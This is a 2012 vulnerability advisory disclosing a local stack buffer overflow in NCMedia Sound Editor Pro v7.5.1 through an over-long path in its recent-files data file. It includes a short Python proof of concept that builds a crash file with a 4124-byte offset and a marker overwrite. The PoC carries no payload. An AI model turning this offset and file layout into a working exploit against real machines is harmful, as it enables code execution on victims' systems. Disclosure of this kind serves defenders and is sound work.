Date found: 2012-08-15

2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
NCMedia Sound Editor Pro v7.5.1, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
A Local Buffer Overflow Vulnerability has been found on the NCMedia  
Sound Editor Pro v7.5.1.  
  
The application saves the paths for all recently used files in a file  
called "MRUList201202.dat" in the directory %appdata%\Sound Editor Pro\.  
When clicking on the "File" menu item the application reads the contents  
of the file, but does not validate the length of the string loaded from  
the file before passing it to a buffer, which leads to a Stack-based  
Buffer Overflow.  
  
An attacker needs to force the victim to place an arbitrary  
"MRUList201202.dat" file into the target directory.  
  
  
5. PROOF-OF-CONCEPT (CODE / EXPLOIT)  
------------------------------------  
#!/usr/bin/python  
file="MRUList201202.dat"  
  
junk1="\x41" * 4124  
boom="\x42\x42\x42\x42"  
junk2="\x43" * 100  
  
poc=junk1 + boom + junk2  
  
try:  
print "[*] Creating exploit file...\n"  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!"  
except:  
print "[!] Error while creating file!"
